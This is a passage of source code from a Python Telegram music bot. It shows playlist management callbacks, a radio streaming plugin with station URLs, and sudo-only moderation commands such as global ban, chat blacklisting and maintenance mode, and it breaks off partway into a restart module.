ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\n\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n▷ **ᴘʟᴀʏ ʙʏ » /play**", reply_markup=keyboardes, ) # Check if the provided input is a YouTube video link if "https://youtu.be" in query: try: add = await message.reply_text( "**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**" ) from pytube import Playlist, YouTube # Extract video ID from the YouTube lin videoid = query.split("/")[-1].split("?")[0] user_id = message.from_user.id thumbnail = f"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg" _check = await get_playlist(user_id, videoid) if _check: try: await add.delete() return await message.reply_photo(thumbnail, caption=_["playlist_8"]) except KeyError: pass _count = await get_playlist_names(user_id) count = len(_count) if count == SERVER_PLAYLIST_LIMIT: try: return await message.reply_text( _["playlist_9"].format(SERVER_PLAYLIST_LIMIT) ) except KeyError: pass try: yt = YouTube(f"https://youtu.be/{videoid}") title = yt.title duration = yt.length thumbnail = f"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg" plist = { "videoid": videoid, "title": title, "duration": duration, } await save_playlist(user_id, videoid, plist) # Create inline keyboard with remove button keyboard = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ Remove from Playlist ๏", callback_data=f"remove_playlist {videoid}", ) ] ] ) await add.delete() await message.reply_photo( thumbnail, caption="**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\n\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**", reply_markup=keyboard, ) except Exception as e: print(f"Error: {e}") await message.reply_text(str(e)) except Exception as e: return await message.reply_text(str(e)) else: from BrandrdXMusic import YouTube # Add a specific song by name query = " ".join(message.command[1:]) print(query) try: results = YoutubeSearch(query, max_results=1).to_dict() link = f"https://youtube.com{results[0]['url_suffix']}" title = results[0]["title"][:40] thumbnail = results[0]["thumbnails"][0] thumb_name = f"{title}.jpg" thumb = requests.get(thumbnail, allow_redirects=True) open(thumb_name, "wb").write(thumb.content) duration = results[0]["duration"] videoid = results[0]["id"] # Add these lines to define views and channel_name views = results[0]["views"] channel_name = results[0]["channel"] user_id = message.from_user.id _check = await get_playlist(user_id, videoid) if _check: try: return await message.reply_photo(thumbnail, caption=_["playlist_8"]) except KeyError: pass _count = await get_playlist_names(user_id) count = len(_count) if count == SERVER_PLAYLIST_LIMIT: try: return await message.reply_text( _["playlist_9"].format(SERVER_PLAYLIST_LIMIT) ) except KeyError: pass m = await message.reply("**🔄 ᴀᴅᴅɪɴɢ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ... **") title, duration_min, _, _, _ = await YouTube.details(videoid, True) title = (title[:50]).title() plist = { "videoid": videoid, "title": title, "duration": duration_min, } await save_playlist(user_id, videoid, plist) # Create inline keyboard with remove button keyboard = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ Remove from Playlist ๏", callback_data=f"remove_playlist {videoid}", ) ] ] ) await m.delete() await message.reply_photo( thumbnail, caption="**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\n\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**", reply_markup=keyboard, ) except KeyError: return await message.reply_text("ɪɴᴠᴀʟɪᴅ ᴅᴀᴛᴀ ғᴏʀᴍᴀᴛ ʀᴇᴄᴇɪᴠᴇᴅ.") except Exception as e: pass @app.on_callback_query(filters.regex("open_playlist") & ~BANNED_USERS) @languageCB async def open_playlist(client, CallbackQuery, _): _playlist = await get_playlist_names(CallbackQuery.from_user.id) if _playlist: get = await CallbackQuery.message.edit_text(_["playlist_2"]) else: return await CallbackQuery.message.edit_text(_["playlist_3"]) keyboard, count = await get_keyboard(_, CallbackQuery.from_user.id) await get.edit_text(_["playlist_7"].format(count), reply_markup=keyboard) @app.on_callback_query(filters.regex("remove_playlist") & ~BANNED_USERS) @languageCB async def del_plist(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() videoid = callback_data.split(None, 1)[1] user_id = CallbackQuery.from_user.id deleted = await delete_playlist(CallbackQuery.from_user.id, videoid) if deleted: try: await CallbackQuery.answer(_["playlist_11"], show_alert=True) except: pass else: try: return await CallbackQuery.answer(_["playlist_12"], show_alert=True) except: return keyboards = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ๏", callback_data=f"recover_playlist {videoid}" ) ] ] ) return await CallbackQuery.edit_message_text( text="**➻ ʏᴏᴜʀ sᴏɴɢ ʜᴀs ʙᴇᴇɴ ᴅᴇʟᴇᴛᴇᴅ ғʀᴏᴍ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ**\n\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ**", reply_markup=keyboards, ) @app.on_callback_query(filters.regex("recover_playlist") & ~BANNED_USERS) @languageCB async def add_playlist(client, CallbackQuery, _): from BrandrdXMusic import YouTube callback_data = CallbackQuery.data.strip() videoid = callback_data.split(None, 1)[1] user_id = CallbackQuery.from_user.id _check = await get_playlist(user_id, videoid) if _check: try: return await CallbackQuery.answer(_["playlist_8"], show_alert=True) except: return _count = await get_playlist_names(user_id) count = len(_count) if count == SERVER_PLAYLIST_LIMIT: try: return await CallbackQuery.answer( _["playlist_9"].format(SERVER_PLAYLIST_LIMIT), show_alert=True, ) except: return ( title, duration_min, duration_sec, thumbnail, vidid, ) = await YouTube.details(videoid, True) title = (title[:50]).title() plist = { "videoid": vidid, "title": title, "duration": duration_min, } await save_playlist(user_id, videoid, plist) try: title = (title[:30]).title() keyboardss = InlineKeyboardMarkup( [ [ InlineKeyboardButton( "๏ ʀᴇᴍᴏᴠᴇ ᴀɢᴀɪɴ ๏", callback_data=f"remove_playlist {videoid}" ) ] ] ) return await CallbackQuery.edit_message_text( text="**➻ ʀᴇᴄᴏᴠᴇʀᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ**\n\n**➥ Cʜᴇᴄᴋ Pʟᴀʏʟɪsᴛ ʙʏ /playlist**\n\n**➥ ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ ʙʏ » /delplaylist**\n\n**➥ ᴀɴᴅ ᴘʟᴀʏ ᴘʟᴀʏʟɪsᴛ ʙʏ » /play**", reply_markup=keyboardss, ) except: return @app.on_callback_query(filters.regex("add_playlist") & ~BANNED_USERS) @languageCB async def add_playlist(client, CallbackQuery, _): await CallbackQuery.answer( "➻ ᴛᴏ ᴀᴅᴅ ᴀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴊᴜsᴛ ᴛʏᴘᴇ /addplaylist (Here your song name)\n\n➥ ᴇxᴀᴍᴘʟᴇ » /addplaylist Blue Eyes Blue tyes.", show_alert=True, ) @app.on_callback_query(filters.regex("branded_playlist") & ~BANNED_USERS) @languageCB async def add_playlists(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() videoid = callback_data.split(None, 1)[1] user_id = CallbackQuery.from_user.id from BrandrdXMusic import YouTube _check = await get_playlist(user_id, videoid) if _check: try: from VIPMUSIC import YouTube return await CallbackQuery.answer(_["playlist_8"], show_alert=True) except: return _count = await get_playlist_names(user_id) count = len(_count) if count == SERVER_PLAYLIST_LIMIT: try: return await CallbackQuery.answer( _["playlist_9"].format(SERVER_PLAYLIST_LIMIT), show_alert=True, ) except: return ( title, duration_min, duration_sec, thumbnail, vidid, ) = await YouTube.details(videoid, True) title = (title[:50]).title() plist = { "videoid": vidid, "title": title, "duration": duration_min, } await save_playlist(user_id, videoid, plist) try: title = (title[:30]).title() return await CallbackQuery.answer( _["playlist_10"].format(title), show_alert=True ) except: return # New command DELETE_ALL_PLAYLIST_COMMAND = "delallplaylist" @app.on_message(filters.command(DELETE_ALL_PLAYLIST_COMMAND) & ~BANNED_USERS) @language async def delete_all_playlists(client, message, _): pass user_id = message.from_user.id _playlist = await get_playlist_names(user_id) if _playlist: try: upl = warning_markup(_) await message.reply_text(_["playlist_14"], reply_markup=upl) except: pass else: await message.reply_text(_["playlist_3"]) @app.on_callback_query(filters.regex("del_playlist") & ~BANNED_USERS) @languageCB async def del_plist(client, CallbackQuery, _): pass callback_data = CallbackQuery.data.strip() videoid = callback_data.split(None, 1)[1] user_id = CallbackQuery.from_user.id deleted = await delete_playlist(CallbackQuery.from_user.id, videoid) if deleted: try: await CallbackQuery.answer(_["playlist_11"], show_alert=True) except: pass else: try: return await CallbackQuery.answer(_["playlist_12"], show_alert=True) except: return keyboard, count = await get_keyboard(_, user_id) return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard) @app.on_callback_query(filters.regex("delete_whole_playlist") & ~BANNED_USERS) @languageCB async def del_whole_playlist(client, CallbackQuery, _): pass _playlist = await get_playlist_names(CallbackQuery.from_user.id) for x in _playlist: await CallbackQuery.answer( "➻ ᴏᴋ sɪʀ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ.\n\n➥ ᴅᴇʟᴇᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ...", show_alert=True ) await delete_playlist(CallbackQuery.from_user.id, x) return await CallbackQuery.edit_message_text(_["playlist_13"]) @app.on_callback_query(filters.regex("get_playlist_playmode") & ~BANNED_USERS) @languageCB async def get_playlist_playmode_(client, CallbackQuery, _): try: await CallbackQuery.answer() except: pass buttons = get_playlist_markup(_) return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) @app.on_callback_query(filters.regex("delete_warning") & ~BANNED_USERS) @languageCB async def delete_warning_message(client, CallbackQuery, _): pass try: await CallbackQuery.answer() except: pass upl = warning_markup(_) return await CallbackQuery.edit_message_text(_["playlist_14"], reply_markup=upl) @app.on_callback_query(filters.regex("home_play") & ~BANNED_USERS) @languageCB async def home_play_(client, CallbackQuery, _): pass try: await CallbackQuery.answer() except: pass buttons = botplaylist_markup(_) return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) @app.on_callback_query(filters.regex("del_back_playlist") & ~BANNED_USERS) @languageCB async def del_back_playlist(client, CallbackQuery, _): pass user_id = CallbackQuery.from_user.id _playlist = await get_playlist_names(user_id) if _playlist: try: await CallbackQuery.answer(_["playlist_2"], show_alert=True) except: pass else: try: return await CallbackQuery.answer(_["playlist_3"], show_alert=True) except: return keyboard, count = await get_keyboard(_, user_id) return await CallbackQuery.edit_message_text( _["playlist_7"].format(count), reply_markup=keyboard ) ================================================ FILE: BrandrdXMusic/plugins/play/playmode.py ================================================ from pyrogram import filters from pyrogram.types import InlineKeyboardMarkup, Message from BrandrdXMusic import app from BrandrdXMusic.utils.database import get_playmode, get_playtype, is_nonadmin_chat from BrandrdXMusic.utils.decorators import language from BrandrdXMusic.utils.inline.settings import playmode_users_markup from config import BANNED_USERS @app.on_message(filters.command(["playmode", "mode"]) & filters.group & ~BANNED_USERS) @language async def playmode_(client, message: Message, _): playmode = await get_playmode(message.chat.id) if playmode == "Direct": Direct = True else: Direct = None is_non_admin = await is_nonadmin_chat(message.chat.id) if not is_non_admin: Group = True else: Group = None playty = await get_playtype(message.chat.id) if playty == "Everyone": Playtype = None else: Playtype = True buttons = playmode_users_markup(_, Direct, Group, Playtype) response = await message.reply_text( _["play_22"].format(message.chat.title), reply_markup=InlineKeyboardMarkup(buttons), ) ================================================ FILE: BrandrdXMusic/plugins/play/radio.py ================================================ import logging from pyrogram import filters from pyrogram.enums import ChatMemberStatus from pyrogram.errors import ( ChatAdminRequired, InviteRequestSent, UserAlreadyParticipant, UserNotParticipant, ) from pyrogram.types import Message from config import BANNED_USERS, adminlist from strings import get_string from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import ( get_assistant, get_cmode, get_lang, get_playmode, get_playtype, ) from BrandrdXMusic.utils.logger import play_logs from BrandrdXMusic.utils.stream.stream import stream RADIO_STATION = { "Air Bilaspur": "http://air.pc.cdn.bitgravity.com/air/live/pbaudio110/playlist.m3u8", "Air Raipur": "http://air.pc.cdn.bitgravity.com/air/live/pbaudio118/playlist.m3u8", "Capital FM": "http://media-ice.musicradio.com/CapitalMP3?.mp3&listening-from-radio-garden=1616312105154", "English": "https://hls-01-regions.emgsound.ru/11_msk/playlist.m3u8", "Mirchi": "http://peridot.streamguys.com:7150/Mirchi", "Radio Today": "http://stream.zenolive.com/8wv4d8g4344tv", "YouTube": "https://www.youtube.com/live/eu191hR_LEc?si=T-9QYD548jd0Mogp", "Zee News": "https://www.youtube.com/live/TPcmrPrygDc?si=hiHBkIidgurQAd1P", "Aaj Tak": "https://www.youtube.com/live/Nq2wYlWFucg?si=usY4UYiSBInKA0S1", } valid_stations = "\n".join([f"`{name}`" for name in sorted(RADIO_STATION.keys())]) @app.on_message( filters.command(["radioplayforce", "radio", "cradio"]) & filters.group & ~BANNED_USERS ) async def radio(client, message: Message): msg = await message.reply_text("ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ᴀ ᴍᴏᴍᴇɴᴛ....") try: try: userbot = await get_assistant(message.chat.id) get = await app.get_chat_member(message.chat.id, userbot.id) except ChatAdminRequired: return await msg.edit_text( f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}." ) if get.status == ChatMemberStatus.BANNED: return await msg.edit_text( text=f"» {userbot.mention} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ {message.chat.title}\n\n𖢵 ɪᴅ : `{userbot.id}`\n𖢵 ɴᴀᴍᴇ : {userbot.mention}\n𖢵 ᴜsᴇʀɴᴀᴍᴇ : @{userbot.username}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ...", ) except UserNotParticipant: if message.chat.username: invitelink = message.chat.username try: await userbot.resolve_peer(invitelink) except Exception as ex: logging.exception(ex) else: try: invitelink = await client.export_chat_invite_link(message.chat.id) except ChatAdminRequired: return await msg.edit_text( f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}." ) except InviteRequestSent: try: await app.approve_chat_join_request(message.chat.id, userbot.id) except Exception as e: return await msg.edit( f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`" ) except Exception as ex: if "channels.JoinChannel" in str(ex) or "Username not found" in str(ex): return await msg.edit_text( f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}." ) else: return await msg.edit_text( f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`" ) if invitelink.startswith("https://t.me/+"): invitelink = invitelink.replace("https://t.me/+", "https://t.me/joinchat/") anon = await msg.edit_text( f"ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴛᴏ {message.chat.title}." ) try: await userbot.join_chat(invitelink) await asyncio.sleep(2) await msg.edit_text( f"{userbot.mention} ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ,\n\nsᴛᴀʀᴛɪɴɢ sᴛʀᴇᴀᴍ..." ) except UserAlreadyParticipant: pass except InviteRequestSent: try: await app.approve_chat_join_request(message.chat.id, userbot.id) except Exception as e: return await msg.edit( f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`" ) except Exception as ex: if "channels.JoinChannel" in str(ex) or "Username not found" in str(ex): return await msg.edit_text( f"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}." ) else: return await msg.edit_text( f"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\n\n**ʀᴇᴀsᴏɴ :** `{ex}`" ) try: await userbot.resolve_peer(invitelink) except: pass await msg.delete() station_name = " ".join(message.command[1:]) RADIO_URL = RADIO_STATION.get(station_name) if RADIO_URL: language = await get_lang(message.chat.id) _ = get_string(language) playmode = await get_playmode(message.chat.id) playty = await get_playtype(message.chat.id) if playty != "Everyone": if message.from_user.id not in SUDOERS: admins = adminlist.get(message.chat.id) if not admins: return await message.reply_text(_["admin_18"]) else: if message.from_user.id not in admins: return await message.reply_text(_["play_4"]) if message.command[0][0] == "c": chat_id = await get_cmode(message.chat.id) if chat_id is None: return await message.reply_text(_["setting_12"]) try: chat = await app.get_chat(chat_id) except: return await message.reply_text(_["cplay_4"]) channel = chat.title else: chat_id = message.chat.id channel = None video = None mystic = await message.reply_text( _["play_2"].format(channel) if channel else _["play_1"] ) try: await stream( _, mystic, message.from_user.id, RADIO_URL, chat_id, message.from_user.mention, message.chat.id, video=video, streamtype="index", ) except Exception as e: ex_type = type(e).__name__ err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type) return await mystic.edit_text(err) return await play_logs(message, streamtype="M3u8 or Index Link") else: await message.reply( f"ɢɪᴠᴇ ᴍᴇ ᴀ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ ᴛᴏ ᴘʟᴀʏ ʀᴀᴅɪᴏ\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\n{valid_stations}" ) __MODULE__ = "Rᴀᴅɪᴏ" __HELP__ = f"\n/radio [sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ] - ᴛᴏ ᴘʟᴀʏ **ʀᴀᴅɪᴏ ɪɴ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ**\n\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\n{valid_stations}" ================================================ FILE: BrandrdXMusic/plugins/sudo/autoend.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import autoend_off, autoend_on @app.on_message(filters.command("autoend") & SUDOERS) async def auto_end_stream(_, message: Message): usage = "ᴇxᴀᴍᴘʟᴇ :\n\n/autoend [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]" if len(message.command) != 2: return await message.reply_text(usage) state = message.text.split(None, 1)[1].strip().lower() if state == "enable": await autoend_on() await message.reply_text( "» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴇɴᴀʙʟᴇᴅ.\n\nᴀssɪsᴛᴀɴᴛ ᴡɪʟʟ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇᴀᴠᴇ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀғᴛᴇʀ ғᴇᴡ ᴍɪɴs ᴡʜᴇɴ ɴᴏ ᴏɴᴇ ɪs ʟɪsᴛᴇɴɪɴɢ." ) elif state == "disable": await autoend_off() await message.reply_text("» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴅɪsᴀʙʟᴇᴅ.") else: await message.reply_text(usage) ================================================ FILE: BrandrdXMusic/plugins/sudo/blchat.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import blacklist_chat, blacklisted_chats, whitelist_chat from BrandrdXMusic.utils.decorators.language import language from config import BANNED_USERS @app.on_message(filters.command(["blchat", "blacklistchat"]) & SUDOERS) @language async def blacklist_chat_func(client, message: Message, _): if len(message.command) != 2: return await message.reply_text(_["black_1"]) chat_id = int(message.text.strip().split()[1]) if chat_id in await blacklisted_chats(): return await message.reply_text(_["black_2"]) blacklisted = await blacklist_chat(chat_id) if blacklisted: await message.reply_text(_["black_3"]) else: await message.reply_text(_["black_9"]) try: await app.leave_chat(chat_id) except: pass @app.on_message( filters.command(["whitelistchat", "unblacklistchat", "unblchat"]) & SUDOERS ) @language async def white_funciton(client, message: Message, _): if len(message.command) != 2: return await message.reply_text(_["black_4"]) chat_id = int(message.text.strip().split()[1]) if chat_id not in await blacklisted_chats(): return await message.reply_text(_["black_5"]) whitelisted = await whitelist_chat(chat_id) if whitelisted: return await message.reply_text(_["black_6"]) await message.reply_text(_["black_9"]) @app.on_message(filters.command(["blchats", "blacklistedchats"]) & ~BANNED_USERS) @language async def all_chats(client, message: Message, _): text = _["black_7"] j = 0 for count, chat_id in enumerate(await blacklisted_chats(), 1): try: title = (await app.get_chat(chat_id)).title except: title = "ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ" j = 1 text += f"{count}. {title}[{chat_id}]\n" if j == 0: await message.reply_text(_["black_8"].format(app.mention)) else: await message.reply_text(text) ================================================ FILE: BrandrdXMusic/plugins/sudo/block.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import add_gban_user, remove_gban_user from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.extraction import extract_user from config import BANNED_USERS @app.on_message(filters.command(["block"]) & SUDOERS) @language async def useradd(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) if user.id in BANNED_USERS: return await message.reply_text(_["block_1"].format(user.mention)) await add_gban_user(user.id) BANNED_USERS.add(user.id) await message.reply_text(_["block_2"].format(user.mention)) @app.on_message(filters.command(["unblock"]) & SUDOERS) @language async def userdel(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) if user.id not in BANNED_USERS: return await message.reply_text(_["block_3"].format(user.mention)) await remove_gban_user(user.id) BANNED_USERS.remove(user.id) await message.reply_text(_["block_4"].format(user.mention)) @app.on_message(filters.command(["blocked", "blockedusers", "blusers"]) & SUDOERS) @language async def sudoers_list(client, message: Message, _): if not BANNED_USERS: return await message.reply_text(_["block_5"]) mystic = await message.reply_text(_["block_6"]) msg = _["block_7"] count = 0 for users in BANNED_USERS: try: user = await app.get_users(users) user = user.first_name if not user.mention else user.mention count += 1 except: continue msg += f"{count}➤ {user}\n" if count == 0: return await mystic.edit_text(_["block_5"]) else: return await mystic.edit_text(msg) ================================================ FILE: BrandrdXMusic/plugins/sudo/gban.py ================================================ import asyncio from pyrogram import filters from pyrogram.errors import FloodWait from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils import get_readable_time from BrandrdXMusic.utils.database import ( add_banned_user, get_banned_count, get_banned_users, get_served_chats, is_banned_user, remove_banned_user, ) from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.extraction import extract_user from config import BANNED_USERS @app.on_message(filters.command(["gban", "globalban"]) & SUDOERS) @language async def global_ban(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) if user.id == message.from_user.id: return await message.reply_text(_["gban_1"]) elif user.id == app.id: return await message.reply_text(_["gban_2"]) elif user.id in SUDOERS: return await message.reply_text(_["gban_3"]) is_gbanned = await is_banned_user(user.id) if is_gbanned: return await message.reply_text(_["gban_4"].format(user.mention)) if user.id not in BANNED_USERS: BANNED_USERS.add(user.id) served_chats = [] chats = await get_served_chats() for chat in chats: served_chats.append(int(chat["chat_id"])) time_expected = get_readable_time(len(served_chats)) mystic = await message.reply_text(_["gban_5"].format(user.mention, time_expected)) number_of_chats = 0 for chat_id in served_chats: try: await app.ban_chat_member(chat_id, user.id) number_of_chats += 1 except FloodWait as fw: await asyncio.sleep(int(fw.value)) except: continue await add_banned_user(user.id) await message.reply_text( _["gban_6"].format( app.mention, message.chat.title, message.chat.id, user.mention, user.id, message.from_user.mention, number_of_chats, ) ) await mystic.delete() @app.on_message(filters.command(["ungban"]) & SUDOERS) @language async def global_un(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) is_gbanned = await is_banned_user(user.id) if not is_gbanned: return await message.reply_text(_["gban_7"].format(user.mention)) if user.id in BANNED_USERS: BANNED_USERS.remove(user.id) served_chats = [] chats = await get_served_chats() for chat in chats: served_chats.append(int(chat["chat_id"])) time_expected = get_readable_time(len(served_chats)) mystic = await message.reply_text(_["gban_8"].format(user.mention, time_expected)) number_of_chats = 0 for chat_id in served_chats: try: await app.unban_chat_member(chat_id, user.id) number_of_chats += 1 except FloodWait as fw: await asyncio.sleep(int(fw.value)) except: continue await remove_banned_user(user.id) await message.reply_text(_["gban_9"].format(user.mention, number_of_chats)) await mystic.delete() @app.on_message(filters.command(["gbannedusers", "gbanlist"]) & SUDOERS) @language async def gbanned_list(client, message: Message, _): counts = await get_banned_count() if counts == 0: return await message.reply_text(_["gban_10"]) mystic = await message.reply_text(_["gban_11"]) msg = _["gban_12"] count = 0 users = await get_banned_users() for user_id in users: count += 1 try: user = await app.get_users(user_id) user = user.first_name if not user.mention else user.mention msg += f"{count}➤ {user}\n" except Exception: msg += f"{count}➤ {user_id}\n" continue if count == 0: return await mystic.edit_text(_["gban_10"]) else: return await mystic.edit_text(msg) ================================================ FILE: BrandrdXMusic/plugins/sudo/logger.py ================================================ from pyrogram import filters from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import add_off, add_on from BrandrdXMusic.utils.decorators.language import language @app.on_message(filters.command(["logger"]) & SUDOERS) @language async def logger(client, message, _): usage = _["log_1"] if len(message.command) != 2: return await message.reply_text(usage) state = message.text.split(None, 1)[1].strip().lower() if state == "enable": await add_on(2) await message.reply_text(_["log_2"]) elif state == "disable": await add_off(2) await message.reply_text(_["log_3"]) else: await message.reply_text(usage) @app.on_message(filters.command(["cookies"]) & SUDOERS) @language async def logger(client, message, _): await message.reply_document("cookies/logs.csv") await message.reply_text("Please check given file to cookies file choosing logs...") ================================================ FILE: BrandrdXMusic/plugins/sudo/maintenance.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from config import OWNER_ID from BrandrdXMusic.utils.database import ( get_lang, is_maintenance, maintenance_off, maintenance_on, ) from strings import get_string @app.on_message(filters.command(["maintenance"]) & filters.user(OWNER_ID)) async def maintenance(client, message: Message): try: language = await get_lang(message.chat.id) _ = get_string(language) except: _ = get_string("en") usage = _["maint_1"] if len(message.command) != 2: return await message.reply_text(usage) state = message.text.split(None, 1)[1].strip().lower() if state == "enable": if await is_maintenance() is False: await message.reply_text(_["maint_4"]) else: await maintenance_on() await message.reply_text(_["maint_2"].format(app.mention)) elif state == "disable": if await is_maintenance() is False: await maintenance_off() await message.reply_text(_["maint_3"].format(app.mention)) else: await message.reply_text(_["maint_5"]) else: await message.reply_text(usage) ================================================ FILE: BrandrdXMusic/plugins/sudo/restart.py ================================================ import asyncio import os import shutil import socket from datetime import datetime import urllib3 from git import Repo from git.exc import GitCommandError, 